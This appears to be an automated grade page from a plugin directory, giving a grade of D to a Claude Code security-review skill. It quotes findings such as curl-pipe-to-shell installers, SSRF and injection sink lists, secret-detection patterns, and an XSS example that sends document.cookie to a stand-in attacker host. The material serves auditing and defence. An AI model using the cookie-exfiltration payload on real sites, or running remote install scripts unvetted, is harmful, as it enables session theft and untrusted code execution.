Claude Code, Skill
Security Harness
A multi-agent application-security review harness for Claude Code (and, later, other AI agents).
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
plugins/security-harness/references/tooling-setup.md, line 52
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b "$HOME/.local/bin" # Linux/macOS, user-scope - NETWORK_HOST_FROM_INPUT Medium
A file takes a URL or endpoint as input and has no fixed host list.
plugins/security-harness/skills/sh-kb-ssrf/SKILL.md, line 20
- **Python**: `requests.get/post(`, `urllib.request.urlopen(`, `httpx.`, `aiohttp`, `urllib3`.
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
plugins/security-harness/skills/sh-pr-review/scripts/sh-metrics.py, line 197
os.remove(p)
plugins/security-harness/skills/sh-pr-review/scripts/sh-pr-post.py, line 42
p = subprocess.run(cmd, capture_output=True, text=True)
plugins/security-harness/skills/sh-pr-review/scripts/sh-review-cache.py, line 363
os.remove(p)
Show more
plugins/security-harness/skills/sh-pr-review/scripts/sh-review-cache.py, line 373
shutil.rmtree(target)
scripts/sync-agent-skills.py, line 73
shutil.rmtree(dest)
skills/sh-pr-review/scripts/sh-metrics.py, line 197
os.remove(p)
skills/sh-pr-review/scripts/sh-pr-post.py, line 42
p = subprocess.run(cmd, capture_output=True, text=True)
skills/sh-pr-review/scripts/sh-review-cache.py, line 363
os.remove(p)
skills/sh-pr-review/scripts/sh-review-cache.py, line 373
shutil.rmtree(target)
plugins/security-harness/references/graft-guide.md, line 56
1. From the class KB, get the list of **sink symbols** (e.g. `execute`, `child_process.exec`).
plugins/security-harness/skills/sh-kb-injection/SKILL.md, line 14
- **JS/TS**: `child_process.exec`, `execSync`, `spawn(cmd, {shell:true})`, backtick shell libs.
plugins/security-harness/skills/sh-kb-injection/SKILL.md, line 37
3. Check for argument-vector usage (safe: `subprocess.run(["ls", arg])` without shell) vs shell string (unsafe).
plugins/security-harness/skills/sh-kb-injection/SKILL.md, line 47
- **Argument vector, no shell**: list-form `subprocess.run([...])`, `execFile`, `spawn` without `shell:true`,
skills/sh-kb-injection/SKILL.md, line 14
- **JS/TS**: `child_process.exec`, `execSync`, `spawn(cmd, {shell:true})`, backtick shell libs.
skills/sh-kb-injection/SKILL.md, line 37
3. Check for argument-vector usage (safe: `subprocess.run(["ls", arg])` without shell) vs shell string (unsafe).
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
plugins/security-harness/references/tooling-setup.md, line 52
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b "$HOME/.local/bin" # Linux/macOS, user-scope
plugins/security-harness/references/tooling-setup.md, line 61
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b "$HOME/.local/bin" # Linux/macOS
plugins/security-harness/references/tooling-setup.md, line 69
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b "$HOME/.local/bin" # Linux/macOS
Network
Concern
can reach a host that is not written as a fixed address. accepts a host from input, with no fixed list in this file.
NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST
plugins/security-harness/skills/sh-kb-ssrf/SKILL.md, line 20
- **Python**: `requests.get/post(`, `urllib.request.urlopen(`, `httpx.`, `aiohttp`, `urllib3`.
plugins/security-harness/skills/sh-kb-ssrf/SKILL.md, line 21
- **JS/TS**: `fetch(`, `axios(`, `http.get/request(`, `got(`, `node-fetch`, `request(`.
plugins/security-harness/skills/sh-kb-xss/SKILL.md, line 40
- Impact PoC (don't stop at alert): conceptually `fetch('//attacker/c?'+document.cookie)` shows session
Show more
skills/sh-kb-ssrf/SKILL.md, line 20
- **Python**: `requests.get/post(`, `urllib.request.urlopen(`, `httpx.`, `aiohttp`, `urllib3`.
skills/sh-kb-ssrf/SKILL.md, line 21
- **JS/TS**: `fetch(`, `axios(`, `http.get/request(`, `got(`, `node-fetch`, `request(`.
skills/sh-kb-xss/SKILL.md, line 40
- Impact PoC (don't stop at alert): conceptually `fetch('//attacker/c?'+document.cookie)` shows session
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_DOTENV
plugins/security-harness/references/pr-review-mapping.md, line 38
| `secrets` | `**/config/**`, `**/settings*`, `.env*`, `**/secrets*/**` | `password\s*=`, `secret\s*=`, `api[_-]?key`, `token\s*=`, `private[_-]?key`, `BEGIN .*PRIVATE KEY`, `aws_a
plugins/security-harness/skills/sh-kb-path-traversal/SKILL.md, line 49
File read -> `secrets` (config/keys/`.env`) -> DB/cloud access; LFI + log poisoning -> RCE; zip-slip write ->
plugins/security-harness/skills/sh-kb-secrets/SKILL.md, line 30
(and native Grep across config/CI/Docker/`.env` committed files).
Show more
skills/sh-kb-path-traversal/SKILL.md, line 49
File read -> `secrets` (config/keys/`.env`) -> DB/cloud access; LFI + log poisoning -> RCE; zip-slip write ->
skills/sh-kb-secrets/SKILL.md, line 30
(and native Grep across config/CI/Docker/`.env` committed files).
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 68748d52c99e. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. accepts a host from input, with no fixed list in this file. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 68748d52c99e10d09e7709d62fd78375ad8148fc
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.